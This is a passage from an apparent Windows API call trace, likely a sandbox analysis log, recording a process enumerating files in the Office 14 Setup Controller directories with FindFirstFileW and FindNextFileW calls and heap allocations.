cAlternateFileName="EXCEL~1.EN-")) returned 1 [0080.681] GetProcessHeap () returned 0x470000 [0080.681] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0080.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.683] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0080.683] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.683] GetProcessHeap () returned 0x470000 [0080.683] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0080.683] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0080.683] GetProcessHeap () returned 0x470000 [0080.683] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0080.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.688] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0080.689] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.689] GetProcessHeap () returned 0x470000 [0080.689] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0080.689] GetProcessHeap () returned 0x470000 [0080.689] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0080.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.690] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.690] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0080.691] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0080.691] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0080.691] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.691] GetProcessHeap () returned 0x470000 [0080.691] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0080.691] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0080.691] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0080.691] GetProcessHeap () returned 0x470000 [0080.691] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0080.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.841] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.841] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0080.841] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0080.842] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0080.843] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0080.843] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0080.843] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0080.843] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0080.843] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0080.844] GetProcessHeap () returned 0x470000 [0080.844] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0080.844] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0080.844] GetProcessHeap () returned 0x470000 [0080.844] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0080.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.111] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.111] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0081.111] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.111] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.111] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.111] GetProcessHeap () returned 0x470000 [0081.112] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0081.112] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0081.112] GetProcessHeap () returned 0x470000 [0081.112] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0081.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.112] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, 